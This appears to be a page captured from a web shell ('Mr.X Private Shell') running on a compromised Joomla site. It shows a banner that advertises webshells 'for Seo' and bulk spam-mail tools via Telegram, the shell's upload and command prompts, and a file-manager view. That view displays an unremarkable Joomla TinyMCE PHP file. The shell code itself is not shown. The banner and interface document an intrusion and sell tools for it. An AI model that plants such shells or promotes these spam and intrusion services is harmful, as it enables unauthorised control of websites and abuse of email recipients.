__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\Editors\TinyMCE\PluginTraits;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Resolves the XTD Buttons for the current TinyMCE editor.
 *
 * @since  4.1.0
 */
trait XTDButtons
{
    /**
     * Get the XTD buttons and render them inside tinyMCE
     *
     * @param   mixed  $buttons  the buttons that should be hidden
     * @param   array  $options  Associative array with additional parameters
     *
     * @return array
     *
     * @since 4.1.0
     */
    private function tinyButtons($buttons, array $options = []): array
    {
        // Get buttons from plugins
        $buttonsList = $this->getButtons($buttons, $options);

        if (!$buttonsList) {
            return [];
        }

        /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
        $wa       = $this->application->getDocument()->getWebAssetManager();
        $editorId = $options['editorId'] ?? '';

        Text::script('PLG_TINY_CORE_BUTTONS');

        // Build a buttons option for TinyMCE
        $tinyButtons = [];

        foreach ($buttonsList as $button) {
            $title   = $button->get('title') ?: $button->get('text', '');
            $icon    = $button->get('icon');
            $link    = $button->get('link');
            $action  = $button->get('action', '');
            $options = (array) $button->get('options');

            $btnAsset = 'editor-button.' . $button->getButtonName();

            // Enable the button assets if any
            if ($wa->assetExists('style', $btnAsset)) {
                $wa->useStyle($btnAsset);
            }
            if ($wa->assetExists('script', $btnAsset)) {
                $wa->useScript($btnAsset);
            }

            // Correct the link
            if ($link && $link[0] !== '#') {
                $link           = str_contains($link, '&amp;') ? htmlspecialchars_decode($link) : $link;
                $link           = Uri::base(true) . '/' . $link;
                $options['src'] ??= $link;
            }

            // Set action to "modal" for legacy buttons, when possible
            $legacyModal = $button->get('modal');

            // Prepare default values for modal
            if ($action === 'modal') {
                $wa->useScript('joomla.dialog');
                $legacyModal = false;

                $options['popupType']  ??= 'iframe';
                $options['textHeader'] ??= $title;
                $options['iconHeader'] ??= 'icon-' . $icon;
            }

            $coreButton            = [];
            $coreButton['name']    = $title;
            $coreButton['icon']    = $icon;
            $coreButton['click']   = $button->get('onclick');
            $coreButton['iconSVG'] = $button->get('iconSVG');
            $coreButton['action']  = $action;
            $coreButton['options'] = $options;

            if ($legacyModal) {
                $coreButton['bsModal'] = true;
                $coreButton['id']      = $editorId . '_' . $button->name;

                $button->id = $editorId . '_' . $button->name . '_modal';

                echo LayoutHelper::render('joomla.editors.buttons.modal', $button);
            }

            // The array with the toolbar buttons
            $tinyButtons[] = $coreButton;
        }

        sort($tinyButtons);

        return ['names' => $tinyButtons];
    }
}

Filemanager

Name Type Size Permission Actions
ActiveSiteTemplate.php File 1.32 KB 0664
DisplayTrait.php File 24.21 KB 0664
GlobalFilters.php File 6.85 KB 0664
KnownButtons.php File 4.89 KB 0664
ResolveFiles.php File 3.44 KB 0664
ToolbarPresets.php File 3.11 KB 0664
XTDButtons.php File 3.64 KB 0664
Filemanager